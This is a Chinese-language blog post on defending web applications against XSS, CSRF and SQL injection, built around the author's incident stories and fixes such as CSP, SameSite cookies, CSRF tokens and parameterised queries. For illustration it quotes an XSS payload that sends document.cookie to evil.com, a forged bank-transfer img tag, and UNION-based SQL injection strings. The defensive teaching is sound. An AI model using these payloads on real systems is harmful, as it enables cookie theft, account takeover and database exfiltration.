当前位置: 首页 > news >正文

【架构实战】Web安全防护实战:从XSS、CSRF到SQL注入的攻防一线

【架构实战】Web安全防护实战:从XSS、CSRF到SQL注入的攻防一线

做后端这么多年,我见过太多"功能早就上线了,安全漏洞埋了一年才被发现"的事故。最离谱的一次,我们一个内部运营后台因为没做 CSRF 防护,被一个钓鱼邮件里的图片请求悄悄改了全公司的权限配置——而攻击者根本不需要拿到任何密码。

Web 安全这件事,最大的误区就是"我们是小公司,没人盯上我们"。现实是,攻击者最爱的就是这种心态:脚本小子扫全网漏洞,你刚好在靶子上。这篇不讲玄学,从三个最经典、最高频的威胁——XSS、CSRF、SQL 注入——讲起,把原理、真实踩坑、防护方案一次说透。

一、Web 安全的三大经典威胁

如果只让你记住三个词,就是这三个:

  • XSS(跨站脚本):让别人的浏览器替你执行恶意 JS,危害在"客户端"。
  • CSRF(跨站请求伪造):借用户的身份,以用户的权限发起请求,危害在"服务端状态被篡改"。
  • SQL 注入:把恶意 SQL 拼进查询,直接打穿数据库,危害在"数据层"。

三者的共同点:都利用了"信任"——XSS 利用了浏览器对页面的信任,CSRF 利用了服务端对登录态的信任,SQL 注入利用了代码对输入格式的信任。防护的本质,就是打破这种不该有的信任

二、XSS:跨站脚本攻击

2.1 三种形态

存储型 XSS:恶意脚本被存进数据库,之后每个访问该数据的用户都会中招。典型场景:评论区、用户昵称、个人简介。这是危害最大的一种,因为影响面是"所有访问者",且持久存在。

反射型 XSS:恶意脚本在 URL 参数里,服务端原样返回到页面,用户点击带毒链接才触发。常见于搜索结果页?q=<script>...</script>

DOM 型 XSS:完全在前端发生的漏洞,恶意内容不经过服务端,而是前端 JS 直接把location.hash或 URL 参数写进 DOM。比如document.write(location.hash)

2.2 真实踩坑:一条评论拖垮整个社区

我们早期做技术社区,用户评论直接innerHTML渲染。有天一个用户昵称填了<img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">。结果所有打开用户主页的人,cookie 都被发到了攻击者的服务器,攻击者用这些 cookie 登录了不少高权限账号。

最讽刺的是:这个漏洞在代码评审里被提过两次,都被"这个功能要赶上线"压下去了。安全债迟早要还,还的时候连本带利。

2.3 防护:三层防线

第一层:输出编码(最基础)。所有用户可控内容渲染到页面时,按上下文转义:

  • HTML 正文:&&amp;<&lt;>&gt;
  • HTML 属性:"&quot;
  • JS 字符串:'\',并避免把用户输入拼进<script>
  • URL 参数:encodeURIComponent

现代框架(React/Vue)默认对插值做 HTML 转义,所以千万别用v-html/dangerouslySetInnerHTML渲染用户输入——这是最常见的作死操作。

第二层:CSP(内容安全策略)。通过响应头限制脚本来源:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxxx'; img-src 'self' data:;

配合noncehash,非白名单脚本一律不执行,即使 XSS 注入了脚本标签也跑不起来。这是 XSS 的"终极兜底"。

第三层:HttpOnly + Secure Cookie。给身份 cookie 加HttpOnly,JS 读不到;加Secure,只在 HTTPS 下传输。即使 XSS 成功,也偷不到核心会话。

三、CSRF:跨站请求伪造

3.1 原理:不是偷,是"借"

CSRF 不偷密码、不偷 cookie,而是利用浏览器会自动带上 cookie 的机制,在用户不知情时,以用户身份发起请求。

经典案例:用户登录了银行bank.com,cookie 还在。然后他逛了一个恶意论坛,页面里藏了一个:

<imgsrc="https://bank.com/transfer?to=attacker&amount=10000">

浏览器发起这个请求时会自动带上bank.com的 cookie,服务端一看"已登录",转账就执行了。用户全程在逛论坛,钱没了。

3.2 防护:让"请求来源"可验证

方案 1:CSRF Token(最常用)。服务端给每个表单/请求发一个随机 token,藏在前端(表单隐藏域或 header)。提交时带上,服务端校验"这个 token 是我在本次会话下发的吗"。攻击者拿不到 token,伪造的请求直接被拒。注意:token 要绑定 session,不能用全局固定值。

方案 2:SameSite Cookie(强烈推荐)Set-Cookie: SameSite=Strict|Lax。Strict 模式下,跨站请求完全不带 cookie;Lax 模式对 GET 导航类请求放行、对 POST/子资源拦截。现在主流浏览器默认Lax,已经能挡掉大部分 CSRF。但别只靠 SameSite——老浏览器不认,且 Lax 对某些场景仍有缝隙。

方案 3:校验 Referer / Origin。服务端校验请求来源是否同源。简单但不可靠(Referer 可被配置隐藏),只能做辅助。

方案 4:关键操作二次确认。转账、改密码、删数据这种高危操作,要求重新输入密码或短信验证码。即使 CSRF 成功,也卡在第二步。

我的经验:SameSite + CSRF Token 双保险,高危操作再加二次验证,基本无懈可击。

3.3 一个容易被忽略的坑:JSONP 与 GET 接口

很多人以为"只有 POST 才有 CSRF",大错特错。我们一个"修改昵称"的接口用了 GET:/api/user/nickname?name=xxx,且服务端没做 token 校验。结果攻击者用<img>一样能改。结论:任何会改状态的接口,不管 GET/POST,都要 CSRF 防护。顺便,REST 规范里改状态就该用 POST/PUT,别图省事用 GET。

四、SQL 注入:最古老也最致命

4.1 原理:拼接即原罪

看这段"经典错误代码":

Stringsql="SELECT * FROM user WHERE name = '"+username+"' AND pwd = '"+password+"'";

用户输入username = admin' --,SQL 变成:

SELECT*FROMuserWHEREname='admin'--' AND pwd = ''

--把后面的密码校验注释掉了,直接以 admin 登录。这就是教科书级的"万能密码"admin' OR '1'='1

4.2 真实事故:一次注入拖库

某次我们一个老报表系统,用字符串拼接拼了一个LIKE查询,没过滤。攻击者输入' UNION SELECT username, password FROM user --,直接把整张用户表导了出来。更惨的是密码是 MD5 明文存储(没加盐),彩虹表一查,大部分密码当场破解。

教训两条:预编译解决注入,加盐哈希解决泄露后的扩散。两者缺一不可。

4.3 防护:从代码到架构

第一招:预编译(PreparedStatement / 参数化查询)。这是根治 SQL 注入的唯一正道。把 SQL 结构和参数分离,数据库把参数当"数据"而非"代码"执行:

Stringsql="SELECT * FROM user WHERE name = ? AND pwd = ?";PreparedStatementps=conn.prepareStatement(sql);ps.setString(1,username);ps.setString(2,password);

注意一个常见误用LIKE '%' + 用户输入 + '%'如果用字符串拼接再传进?,照样注入。正确做法是参数整体传:ps.setString(1, "%" + keyword + "%"),占位符本身不拼用户输入。

第二招:用 ORM 但不要滥用。MyBatis 的${}是字符串替换,等于拼接,禁止用于用户输入;统一用#{}。Hibernate/JPA 的 Criteria API 天然参数化。

第三招:最小权限 + 禁用危险函数。数据库账号只给必要权限,禁止FILEDROPUNION等高危能力(按业务需要)。Web 用的库账号不该有 DBA 权限。

第四招:WAF + 输入校验兜底。WAF 能拦掉明显的注入特征(union select'--等),但不能替代预编译——攻击者有无数种变形绕过 WAF。WAF 是"锦上添花",不是"雪中送炭"。

五、纵深防御:别把鸡蛋放一个篮子里

单个防护都有被绕过的可能,真正靠谱的是纵深防御(Defense in Depth)

  1. 入口层:反向代理 / WAF 过滤明显攻击特征,限流防爆破。
  2. 应用层:输入校验(白名单优先)、输出编码、CSRF Token、SameSite。
  3. 数据层:预编译、最小权限、敏感字段加密加盐、定期备份。
  4. 运行时:CSP、HttpOnly Cookie、依赖漏洞扫描(很多 XSS/注入来自老版本的第三方库)。
  5. 流程层:安全代码评审、定期渗透测试、依赖npm audit/OWASP Dependency-Check

一句话:前端校验是用户体验,不是安全安全是层层设防,不是单点依赖

六、我的踩坑感悟

坑 1:前端校验 ≠ 安全。新人最爱写if (input.length > 0) { 提交 }就以为安全了。攻击者用 Postman 直接发请求,前端校验形同虚设。所有校验必须在服务端重做。

坑 2:富文本编辑器是 XSS 重灾区。产品要"用户能发带格式的帖子",你用了v-html渲染 HTML。解决方案:服务端做 HTML 白名单过滤(如jsoupSafelistDOMPurify),只允许<b><p>这类安全标签,禁掉所有on*事件属性和javascript:协议。

坑 3:JSONP 接口的 CSRF。JSONP 天生跨域带 cookie,等于给 CSRF 开了后门。新项目直接用 CORS + Token,别再用 JSONP。

坑 4:预编译的"假安全"LIKE '%${kw}%'ORDER BY ${column}这类动态 SQL,MyBatis 里用了${}就会注入。排序字段这种"必须拼 SQL"的场景,要对column做白名单校验(只允许预定义的几个列名)。

感悟:安全不是一个"功能",而是一个"过程"。没有"上线一次就永远安全"的系统,只有"持续设防、持续检测"的系统。我现在的习惯是:每个 PR 默认问一句"这段输入,最终会到哪?怎么被滥用?"——想清楚这个,大部分漏洞在写代码时就消掉了。

七、总结

  • XSS:别信任何会进 DOM 的用户输入,输出编码 + CSP + HttpOnly 三层兜住。
  • CSRF:所有改状态的接口都要验证来源,SameSite + Token + 高危二次验证。
  • SQL 注入:预编译是唯一正道,别用字符串拼接,禁用 MyBatis 的${}
  • 纵深防御:单层防护会被绕过,层层设防才是真安全。
  • 心态:安全是过程不是产品,写代码时多问一句"这个输入会被怎么滥用"。

这三个威胁讲了十几年,今天依然在 OWASP Top 10 里占着位置。原因不是技术难,而是太多人觉得"与我无关"。希望这篇能让你下次写接口时,下意识地多想一层。

我是做架构的,关注我,一起把系统做得既快又稳又安全。

http://www.jsqmd.com/news/1408347/

相关文章:

  • Python爬虫实战:构建Wallheaven壁纸自动下载工具
  • 2026年优选河南省可靠的油炸肉工厂全案设计专业机构联系方式 - 装修教育财税推荐2026
  • AI Agent 可作为投标工作有力辅助,但招标文件分析、专业技术判断以及投标相关最终承诺,绝对不能全部交由 AI 自动处理。 对于日常需要处理大量招标文档、过往投标资料与专业技术材料的企业,可优先考
  • BioXArena:构建多模态生物医学LLM智能体基准测试平台
  • 复合型LLM智能体设计:在对抗性POMDP中实现成本与性能的平衡
  • 企业级AI安全合规:策略驱动的多智能体编排架构与OPA实践
  • Photoshop新手入门:从安全安装到核心操作全解析
  • 基于SpringBoot的乡村助老服务系统的设计与实现 (源码+lw+部署文档+讲解等)
  • 基于微信小程序的校园拼车顺路同行平台设计与实现(源码+lw+部署文档+讲解等)
  • 大语言模型智能体状态最小化:降低Token成本与提升性能的工程实践
  • 3分钟装好Blender 3MF插件:导入导出3MF文件再也不丢数据
  • TP-LINK Wi-Fi 7全屋覆盖方案:AC+AP架构部署与配置实战
  • AI产品经理30分钟掌握Axure核心交互与AI辅助原型设计
  • SolidWorks数据库部署指南:手动安装SQL Server与创建PDM数据库
  • 论文查重难题解析:AI检测与学术规范实战指南
  • 技术成长方法论:如何从“知道”到“精通”,建立持续正反馈循环
  • 英语作文批改教考平台怎么选?这3点必须注意
  • 数学建模竞赛零基础通关指南:从算法到论文的实战方法论
  • 小程序页面来源追踪实战:从场景值解析到用户行为分析
  • 潮汐之眼:她切断故城,换来一条生路
  • Android后台服务开发指南:startService与startForegroundService深度解析与避坑实践
  • 微信抢红包终极攻略:1M免费开源自动抢包插件安装与配置全指南
  • 2026 年至今,衡阳正规的GEO获客运营中心推荐,别再瞎蹭流量了,用这招能把精准客源直接送到你店里 - 企业信息推荐-2
  • 维普降AI检测率怎么降?2026年实测好用的论文降AI网站
  • 罗湖区城建办 小散工程施工资质施工图
  • 基于SpringBoot的线上教育系统的设计与实现(源码+lw+部署文档+讲解等)
  • FFmpeg自动化视频剪辑:批量裁剪片头片尾的脚本实现
  • Proteus网络标签使用指南:告别连线混乱,提升电路设计效率
  • Anaconda保姆级安装与配置指南:从零搭建Python数据科学环境
  • Linux系统版本信息查询:uname、os-release、lsb_release与hostnamectl命令深度解析